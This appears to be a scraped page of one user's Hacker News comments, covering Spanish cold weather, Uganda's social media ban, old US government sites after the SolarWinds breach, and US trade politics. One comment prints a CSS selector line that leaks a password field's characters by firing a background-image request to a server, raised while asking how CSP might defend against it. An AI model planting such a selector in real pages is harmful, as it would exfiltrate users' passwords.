antiman0 · HackerTrans

Spain almost never sees degrees below 0°C [1].

[1] https://www.climatestotravel.com/climate/spain

A few days ago, someone posted a blog post here on HN [1] explaining the phenomenon which causes this: https://www.severe-weather.eu/global-weather/polar-vortex-co...

[1] https://news.ycombinator.com/item?id=25713704

antiman0

há 6 anosdiscuss

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors:

    input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }

How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.

antiman0

há 6 anosdiscuss

> A source in Uganda’s telecom sector said the government had made clear to executives at telecoms companies that the social media ban was in retaliation for Facebook blocking some pro-government accounts.

This is probably the interesting bit - a retaliatory move by a regime trying to silence the opposition. I don't think this has too many parallels (except for blocking of accounts) with the current US events, which is why this is probably being upvoted?

antiman0

há 6 anosdiscuss

What a great rabbit hole! It's pretty interesting to see how some of these sites are "protected" (big HTML warning stating "DO NOT ACCESS THIS") and some oldschool-IT named domains such as https://itdashboard.gov/ .

Given the recent SolarWinds breach I wonder how these networks are impacted. Most of them look like from the early 90s.

antiman0

há 6 anosdiscuss

There is probably more to that - does the current administration really bother with tech companies? Or is it a move to further (a) deteriorate relations before the new admin takes over or (b) create leverage for upcoming trade talks?

comments